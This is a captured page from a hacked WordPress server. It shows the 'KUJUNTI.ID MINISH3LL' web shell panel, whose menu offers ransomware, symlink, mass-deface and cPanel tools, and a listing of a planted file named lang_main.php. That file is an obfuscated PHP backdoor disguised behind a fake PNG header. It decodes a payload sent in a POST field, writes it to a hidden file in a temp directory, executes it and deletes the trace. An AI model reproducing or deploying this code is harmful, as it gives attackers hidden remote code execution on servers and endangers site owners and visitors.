\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/eceas/wp-admin/plugins/img/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/eceas/wp-admin/plugins/img/lang_main.php


<?php

if(filter_has_var(INPUT_POST, "e\x6Etry")){
	$resource = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), "/tmp", "/dev/shm", "/var/tmp", sys_get_temp_dir(), getcwd()]);
	$pset = $_POST["e\x6Etry"];
		$pset 		=			explode  (   '.' ,	  $pset 		)  	;	
	$bind = '';
            $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($salt6);
    
            foreach($pset as $i	=>$v2):
                $chS = ord($salt6[$i 	%	$sLen]);
                $d =((int)$v2 - $chS -($i 	%	10)) 	^ 71;
                $bind .= chr($d);
            endforeach;
	for ($tkn = 0, $ent = count($resource); $tkn < $ent; $tkn++) {
    $data_chunk = $resource[$tkn];
    		if (!!is_dir($data_chunk) && !!is_writable($data_chunk)) {
    $itm = implode("/", [$data_chunk, ".entity"]);
    if (@file_put_contents($itm, $bind) !== false) {
	include $itm;
	unlink($itm);
	exit;
}
}
}
}

© KUJUNTI.ID